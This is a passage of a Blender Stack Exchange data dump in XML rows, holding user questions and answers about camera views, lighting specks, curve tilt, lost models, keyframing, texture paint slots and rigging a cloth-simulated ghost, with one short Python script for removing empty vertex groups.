  <row Id="16519" PostTypeId="2" ParentId="16518" CreationDate="2014-10-07T15:42:19.303" Score="3" Body="&lt;p&gt;&lt;kbd&gt;F12&lt;/kbd&gt; always renders the active camera. If you want to move active camera to current viewport position, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Numpad 0&lt;/kbd&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, you may want to press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;F&lt;/kbd&gt; to fine tune the camera view.&lt;/p&gt;&#xA;" OwnerUserId="3413" LastEditorUserId="241" LastEditDate="2014-10-07T16:05:02.197" LastActivityDate="2014-10-07T16:05:02.197" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16520" PostTypeId="1" AcceptedAnswerId="16533" CreationDate="2014-10-07T16:11:16.727" Score="0" ViewCount="179" Body="&lt;p&gt;I am currently creating a pumpkin to sing (don't ask) I have got it singing but I have realized that I have specs of lighting coming on the outside of my pumpkin. I really need to get rid of all these light specs on the outsides as it is not very good. I have tried moving the light around etc. but have not solving the issue.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/aSCi1.png&quot; alt=&quot;My pumpkin&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6381" LastEditorUserId="2217" LastEditDate="2014-10-07T16:44:59.377" LastActivityDate="2014-10-07T20:02:23.997" Title="How can I stop specs of light coming through my object?" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-10-07T22:33:48.867" ContentLicense="CC BY-SA 3.0" />
  <row Id="16521" PostTypeId="1" CreationDate="2014-10-07T16:20:14.087" Score="2" ViewCount="28844" Body="&lt;p&gt;I somehow lost my model. My view in default moved so far away and I can't find my model in the blender world. I can see it in 3D full view, so I know the model's still there, but in that I can't move objects. What should I do?&lt;/p&gt;&#xA;" OwnerUserId="6383" LastEditorUserId="2217" LastEditDate="2014-10-07T16:41:09.470" LastActivityDate="2014-10-10T05:07:35.843" Title="Can't find my model" Tags="&lt;3d-view&gt;&lt;objects&gt;" AnswerCount="3" CommentCount="7" FavoriteCount="3" ClosedDate="2014-10-07T20:22:03.663" ContentLicense="CC BY-SA 3.0" />
  <row Id="16522" PostTypeId="2" ParentId="16521" CreationDate="2014-10-07T16:32:46.797" Score="3" Body="&lt;p&gt;Be in object mode. Select in outliner window is possible .Then try these&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Select any object (not camera) .. press Numeric Keypad . (period next to zero)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select One or More Objects.  Press the Home Key ... there are two Home Keys on a  full Keyboard. Choose Home ... Next to the the PageUp Key. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the camera. Grab Z Z ...keystrokes GZZ. Move your mouse to move the camera closer.  Control Alt Number (Keypad) 0 ... will align the view.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;With the mouse wheel scroll to zoom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind as you move the view with your mouse you are in USER VIEW.  Pressing numpad 0 puts you in CAMERA VIEW.  Numpad 0 switches back and forth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you see a worthwhile tutorial video on a video site such as youtube as a random and known site.  Search Blender 2.7 Tutorial Introduction.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a nice one&#xA; -&lt;br&gt;&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=qlj_4nlJWpo&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=qlj_4nlJWpo&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2014-10-07T17:03:59.823" LastActivityDate="2014-10-07T17:03:59.823" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16523" PostTypeId="1" AcceptedAnswerId="16569" CreationDate="2014-10-07T16:47:47.453" Score="14" ViewCount="5933" Body="&lt;p&gt;It's doesn't seem to matter if I use the curves &quot;extra objects&quot; to make the spiral or just create it on my own. I can't seem to find a way to keep tilt parallel to any one axis. Or make tilt uniform in any meaningful way without tilting each handle individually, which is a waste of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AoMlm.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using this spiral as a curve modifier. I have an object following this spiral curve path. I want to have some control over its orientation and deformation, which is why I'm not using the &quot;follow path&quot; constraint. I'd like to set the handle tilt uniform to a certain axis so the object stays level as it travels up the spiral.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JnllC.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final result will be a flow demonstration with arrows, very similar to this example I made in another project, but with a long spiral as shown above. I need to be able to control how the arrows rotate as they travel along the path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uSCOT.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to keep tilt aligned to a specific axis so I can predict object rotation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already tried:&lt;br&gt;&#xA;• Setting the &quot;mean tilt&quot; number with all points selected&lt;br&gt;&#xA;• Clearing tilt (my example image is what happens when you clear the tilt)&lt;br&gt;&#xA;• Convert from curve &gt; mesh &gt; back to curve&lt;br&gt;&#xA;• Tilt interpolation options&lt;br&gt;&#xA;• Proportional editing while in tilt edit mode&lt;br&gt;&#xA;• I need object deformation, so I will not be using path constraints&lt;/p&gt;&#xA;" OwnerUserId="6384" LastEditorUserId="6384" LastEditDate="2014-10-08T16:23:36.320" LastActivityDate="2014-10-08T16:23:36.320" Title="Keeping Bezier spiral curve handle tilt perpendicular to a specific axis" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16524" PostTypeId="2" ParentId="16523" CreationDate="2014-10-07T17:17:51.027" Score="5" Body="&lt;p&gt;I think the closest thing you can do is 'Clear tilt'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While in edit mode of the curve, select all curve points and press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;T&lt;/kbd&gt; or choose the tool from the menu shown below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Ryy7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, on a spiral this does seem to still allow for some curvature to remain. But, on a spiral where all 'levels' of the spiral are the same you should be able to then tilt all the incorrect curve points at once with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;T&lt;/kbd&gt; to correct them all at the same time.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-10-07T17:17:51.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16525" PostTypeId="2" ParentId="16516" CreationDate="2014-10-07T17:24:41.890" Score="8" Body="&lt;p&gt;&lt;strong&gt;Voxels&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider some images where the planes (rectangles) are either parallel or pependicular .. based on cubes.  Flat Surface on Top.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Small Sample of Color Transparency Threshold&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kvt5c.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Small Sample of High Density Mesh from distorted image from user provided image from natural light camera. Image below.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ucrGa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sample from artificial image with more precise edges. Image below.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eYAKx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a high density mesh with cubes.  Simple Cube (6 sides) with the 2 array modifiers, vertical Z (1) and horizontal X (1), repeat 40 or more on both, then apply both. (I suggest user use a high number 500 or more if possible)Vertex Remove Doubles. See image above.   The number 40 was for a quick test.&lt;/li&gt;&#xA;&lt;li&gt;UV Project . Turn specularity to zero. Add your texture. Affect color and transparency.&lt;/li&gt;&#xA;&lt;li&gt;Render&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Observations&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;High Density Mesh. Sheet of cubes. Geometry modified. One mesh of many cubes internally. High Density Mesh is the same requirement for Displacement in texture panel. See below.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Please Improve. I used a visible margin for each cube in the original array modifier, in the example below.&#xA;You can have zero margin.  Thus some lines in interior.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;The more intricate the transparency the more need for density with this technique.&lt;/li&gt;&#xA;&lt;li&gt;The texture below has .png transparency.  Careful image processing is necessary and the best image, or least offensive image, here can be improved.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The perceived thickness is determined by the alpha of the channel. Your can change transparent image or image sequence. with no further work. No particular modelling.  There are other ways to do this.  Quick example.  I have added an array modifier only to show you two views at once. Front and Side. Any undesirable details have not been investigated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cjv3o.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Displacement method.  Dense mesh from a plane subdivided. Texture affecting displacement.  There is no flat surface.  This technique is documented many places.  This may be the least suited to your purposes. Consider Subdivision Modifier. The image also shows the triangulated surface just for discussion purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mDfy1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the above should be adjusted to you tastes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Optionally consider a particle system with the &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Texture determining [density].  &lt;/li&gt;&#xA;&lt;li&gt;Texture determining [color] in emitter.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2014-10-08T17:29:15.417" LastActivityDate="2014-10-08T17:29:15.417" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16526" PostTypeId="2" ParentId="16516" CreationDate="2014-10-07T18:00:33.383" Score="0" Body="&lt;p&gt;It is not really possible to give a texture thickness.  Geometry is basically a collection of points (vertices) in space, vertices are connected with edges, and edges are filled with.  Faces have no thickness, they simply reflect photons (rays).  Textures are for modifying the color (or direction) of rays that hit the face.  To create a solid object you have to model it.  I would use your texture as a background image and model the object using the texture as a reference.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2014-10-07T18:00:33.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16527" PostTypeId="1" AcceptedAnswerId="16610" CreationDate="2014-10-07T18:14:23.483" Score="2" ViewCount="516" Body="&lt;p&gt;I have been tasked with having a camera follow a specific piece of paper as it moves through an office environment. The paper is one of many that are flowing along and the shot is from the view of this one piece of paper. I know I can hand animate it, but I was wondering if there is a way to track the camera to a particle and see from it's POV (so to speak).  I would like to attach to the particle and look from it as if the camera were riding on the paper.&lt;/p&gt;&#xA;" OwnerUserId="809" LastEditorUserId="809" LastEditDate="2014-10-07T18:26:23.767" LastActivityDate="2014-10-09T13:53:31.830" Title="How to make a camera follow a specific particle" Tags="&lt;particles&gt;&lt;camera&gt;&lt;tracking&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16528" PostTypeId="2" ParentId="16517" CreationDate="2014-10-07T18:20:02.093" Score="8" Body="&lt;p&gt;This python snippet should work if you paste it into a Text Editor's new buffer and click Run Script.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def survey(obj):&#xA;    maxWeight = {}&#xA;    for i in obj.vertex_groups:&#xA;        maxWeight[i.index] = 0&#xA;&#xA;    for v in obj.data.vertices:&#xA;        for g in v.groups:&#xA;            gn = g.group&#xA;            w = obj.vertex_groups[g.group].weight(v.index)&#xA;            if (maxWeight.get(gn) is None or w&amp;gt;maxWeight[gn]):&#xA;                maxWeight[gn] = w&#xA;    return maxWeight&#xA;&#xA;obj = bpy.context.active_object&#xA;maxWeight = survey(obj)&#xA;# fix bug pointed out by user2859&#xA;ka = []&#xA;ka.extend(maxWeight.keys())&#xA;ka.sort(key=lambda gn: -gn)&#xA;print (ka)&#xA;for gn in ka:&#xA;    if maxWeight[gn]&amp;lt;=0:&#xA;        print (&quot;delete %d&quot;%gn)&#xA;        obj.vertex_groups.remove(obj.vertex_groups[gn]) # actually remove the group&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="660" LastEditorUserId="660" LastEditDate="2016-02-01T17:57:42.560" LastActivityDate="2016-02-01T17:57:42.560" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16530" PostTypeId="2" ParentId="16521" CreationDate="2014-10-07T19:53:00.487" Score="4" Body="&lt;p&gt;Just select the object in the outliner panel (top right in default view) and hit &lt;kbd&gt;N&lt;/kbd&gt; to bring up the properties panel. The very top of this panel should say 'Transform'. Set all the values to '0'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the object still doesn't show, there are a couple things to check:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1&lt;/strong&gt;. Make sure you are in the right scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2&lt;/strong&gt;. Make sure you didn't delete the item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3&lt;/strong&gt;. Make sure the item is marked as 'visible'(eye icon) in the Outliner.&#xA;Hope this works for you.:)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;If your view is to far &lt;kbd&gt;Numpad&lt;/kbd&gt;&lt;kbd&gt;.&lt;/kbd&gt;(view selected) should fix that.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also try checking / unchecking LOCK TO CURSOR &lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorDisplayName="user1853" LastEditDate="2014-10-10T05:07:35.843" LastActivityDate="2014-10-10T05:07:35.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16531" PostTypeId="1" AcceptedAnswerId="16554" CreationDate="2014-10-07T19:53:57.857" Score="15" ViewCount="34514" Body="&lt;p&gt;When pressing &lt;kbd&gt;I&lt;/kbd&gt;, I now receive: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;keying set failed to insert any keyframes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No idea why pressing &lt;kbd&gt;I&lt;/kbd&gt; doesn't work anymore. What did I do wrong?&#xA;(I've upgraded from 2.71 to 2.72 and it stops working).&lt;/p&gt;&#xA;" OwnerUserId="6102" LastEditorUserId="2217" LastEditDate="2014-10-08T01:53:55.303" LastActivityDate="2019-08-17T16:28:20.187" Title="Keying set failed to insert any keyframes" Tags="&lt;animation&gt;&lt;keyframes&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16532" PostTypeId="2" ParentId="16521" CreationDate="2014-10-07T19:57:02.783" Score="1" Body="&lt;p&gt;Select the object in the Outliner and press Alt+G that resets the location (to the center). This way you might see your model again.&lt;/p&gt;&#xA;" OwnerUserId="6102" LastActivityDate="2014-10-07T19:57:02.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16533" PostTypeId="2" ParentId="16520" CreationDate="2014-10-07T20:02:23.997" Score="0" Body="&lt;p&gt;Turn of caustics in the render settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a superb video that tells how to fix all types of problems like that.&lt;br&gt;&#xA;&lt;a href=&quot;http://www.youtube.com/watch?v=vbj4d5XL0NA&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=vbj4d5XL0NA&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;watch min. 32 for your specific problem.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2014-10-07T20:02:23.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16536" PostTypeId="1" CreationDate="2014-10-07T20:22:07.483" Score="3" ViewCount="927" Body="&lt;p&gt;Is there any way to show all layers (paint slots) at the same time in texture paint and solid mode like in most painting apps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the default behavior in 2.72 seems to be that only the selected layer is shown even though there are transparent parts on the layers.&lt;/p&gt;&#xA;" OwnerUserId="4944" LastEditorUserId="599" LastEditDate="2014-10-07T20:43:33.193" LastActivityDate="2017-01-31T15:22:28.127" Title="Display all paint slots simultaneously?" Tags="&lt;texture-painting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16537" PostTypeId="1" CreationDate="2014-10-07T20:31:27.910" Score="4" ViewCount="19113" Body="&lt;p&gt;I've uploaded an obj file and the widget is waaaayy far from the object I've inserted. &#xA;Again, I'm not trying to move the object, but the widget itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to reposition it?&lt;/p&gt;&#xA;" OwnerUserId="6389" LastEditorUserId="241" LastEditDate="2020-07-15T09:31:30.850" LastActivityDate="2020-07-15T09:31:30.850" Title="How to move the 3D manipulator widget itself" Tags="&lt;modeling&gt;&lt;objects&gt;&lt;transforms&gt;&lt;3d-manipulator&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16538" PostTypeId="2" ParentId="16537" CreationDate="2014-10-07T20:46:31.143" Score="15" Body="&lt;p&gt;Most likely the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/object/origin.html#object-origin&quot; rel=&quot;noreferrer&quot;&gt;origin of your object&lt;/a&gt; is off. To recenter it, select the object and press &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;&lt;em&gt;&gt; Origin to geometry&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to move it to a more customized location, you can move the 3D cursor where you want it to go, either by clicking with &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/FwrAW.png&quot; alt=&quot;LMB&quot; title=&quot;Left Mouse Button&quot;&gt; LMB&lt;/kbd&gt; or by snapping the cursor with &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;, then pressing &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;&lt;em&gt;&gt; Origin to 3D cursor&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the manipulator widget is located at the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/object/editing/transform/control/pivot_point/index.html#pivot-point&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;pivot point&lt;/em&gt;&lt;/a&gt;, which is set in the header of the 3D view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IGwVI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also possible that the pivot point is set to 3D cursor (&lt;kbd&gt;.&lt;/kbd&gt;), in which case the manipulator will be position at the cursor. To switch it back to the default setting of &lt;em&gt;median point&lt;/em&gt;, either select it in the drop down or press &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;,&lt;/kbd&gt; (comma).&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2017-03-22T20:43:44.750" LastActivityDate="2017-03-22T20:43:44.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16539" PostTypeId="2" ParentId="16536" CreationDate="2014-10-07T21:02:46.897" Score="5" Body="&lt;p&gt;I eventually found a way. It doesn't really feel like a proper solution but it works. In Cycles, you have to switch to material mode and you will then be able to see all layers. But the problem is that your object will interact with the lights so you have to also temporarily make your material shadeless.&lt;/p&gt;&#xA;" OwnerUserId="4944" LastEditorUserId="12662" LastEditDate="2017-01-31T15:22:28.127" LastActivityDate="2017-01-31T15:22:28.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16540" PostTypeId="2" ParentId="16505" CreationDate="2014-10-07T21:16:41.183" Score="6" Body="&lt;p&gt;To maximize a view you can hit &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;up arrow&lt;/kbd&gt;, to get back to normal use &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;down arrow&lt;/kbd&gt;.  Make sure the cursor is in the view you want to maximize.&lt;/p&gt;&#xA;&lt;p&gt;Most of the time I just use the numpad hotkeys gandalf3 mentioned though.&lt;/p&gt;&#xA;&lt;p&gt;This does not work for the actual &amp;quot;quad view&amp;quot; in a single viewing window.  Instead of using the &lt;kbd&gt;Ctrl.&lt;/kbd&gt; + &lt;kbd&gt;Alt.&lt;/kbd&gt; + &lt;kbd&gt;Q&lt;/kbd&gt; quad view, I usually just set up a manual quad view using multiple viewing windows by dragging the little slanted lines at the top right corner of the view.  Then the &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;up arrow&lt;/kbd&gt;/&lt;kbd&gt;down arrow&lt;/kbd&gt; will work.  You can make preset views by clicking the &amp;quot;+&amp;quot; at the top of the window (where it says &amp;quot;Default&amp;quot; now).&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="19307" LastEditDate="2020-08-06T21:20:08.257" LastActivityDate="2020-08-06T21:20:08.257" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16541" PostTypeId="1" CreationDate="2014-10-07T21:20:56.927" Score="3" ViewCount="3753" Body="&lt;p&gt;When I move the camera around in Blender the bones instantly go invisible however when I press 1 they're visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GiNcX.png&quot; alt=&quot;When I move camera&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DHxyN.png&quot; alt=&quot;When I press 1&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6389" LastActivityDate="2017-11-05T17:37:03.543" Title="Bones are invisible in blender" Tags="&lt;bones&gt;" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16542" PostTypeId="2" ParentId="13635" CreationDate="2014-10-07T21:52:29.137" Score="1" Body="&lt;p&gt;This isn't possible at the moment, you'll have to edit the images separately before loading them in. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You could use textured planes instead of background images, and edit the texture in a material, however this has the disadvantage of only working in material view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bjJma.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-10-07T22:43:31.190" LastActivityDate="2014-10-07T22:43:31.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16544" PostTypeId="2" ParentId="16516" CreationDate="2014-10-07T23:53:49.863" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Use the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Add_Mesh/Planes_from_Images&quot; rel=&quot;nofollow&quot;&gt;add images as planes&lt;/a&gt; add on to add your image.&lt;/li&gt;&#xA;&lt;li&gt;Subdivide the plane about 30 times. &lt;kbd&gt;Tab&lt;/kbd&gt; in to edit mode &lt;kbd&gt;W&lt;/kbd&gt; &gt; &lt;em&gt;Subdivide&lt;/em&gt;. Adjust the &lt;em&gt;Number of Cuts&lt;/em&gt; in the tool shelf, or by pressing &lt;kbd&gt;F6&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Add a &lt;em&gt;Subdivision Surface&lt;/em&gt; modifier set to &lt;em&gt;Simple&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Add a &lt;em&gt;Displace&lt;/em&gt; modifier set the &lt;em&gt;Texture Coordinates&lt;/em&gt; to &lt;em&gt;UV&lt;/em&gt; and add a new texture. Go to the texture tab, use the same image texture for the displace modifier's texture.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-10-07T23:53:49.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16545" PostTypeId="1" AcceptedAnswerId="16546" CreationDate="2014-10-08T02:49:49.613" Score="3" ViewCount="670" Body="&lt;p&gt;newbie here, so please be kind.  I tried googling and searching here for an answer but I think I just don't know correct terms to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to model a ghost for a game.  I have a frame (UV sphere extruded down) and a plane with cloth modifier that I drape over it.  When I run the cloth simulation, I eventually get the ghost shape that I want.  Now, I want to add some actions for it.  How do I &quot;pause&quot; it at the ghost shape that I want and start making animations for it, like Idle (I want the cloth to swing around a bit, like the ghost is swinging its hips) and Walk (I want the cloth to flow back like it's walking).  I hope that made sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6393" LastActivityDate="2014-10-08T03:41:25.313" Title="Create ghost character from a certain point in cloth simulation" Tags="&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16546" PostTypeId="2" ParentId="16545" CreationDate="2014-10-08T03:41:25.313" Score="2" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;When I run the cloth simulation, I eventually get the ghost shape that I want.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;How do I &amp;quot;pause&amp;quot; it at the ghost shape that I want&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h1&gt;Part 1.&lt;/h1&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ntyIu.png&quot; alt=&quot;Selected Cloth&quot; /&gt; Go to the frame you want and make sure the cloth settings are perfect. This change will be permanent. &lt;img src=&quot;https://i.stack.imgur.com/NI42I.png&quot; alt=&quot;Apply&quot; /&gt; Go to your modifiers panel and click Apply.&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/LWrbW.png&quot; alt=&quot;editable mesh&quot; /&gt; This will convert it from a dynamic modifier into an editable mesh.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Now, I want to add some actions for it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;I want and start making animations for it, like Idle (I want the cloth to swing around a bit, like the ghost is swinging its hips) and Walk (I want the cloth to flow back like it's walking).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h1&gt;Part 2.&lt;/h1&gt;&#xA;&lt;p&gt;Next you'll want to rig the ghost. An armature system is a complex topic but I'll give you the basics.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BDa0J.png&quot; alt=&quot;Add bone&quot; /&gt; Start by adding a bone to your ghost.&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Vh6us.png&quot; alt=&quot;xray&quot; /&gt; Enable X-ray so you can see what you're doing&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5prJf.png&quot; alt=&quot;Edit&quot; /&gt; Making sure your bone is positioned at the top of the ghost hit &lt;code&gt;TAB&lt;/code&gt; to go into edit mode and 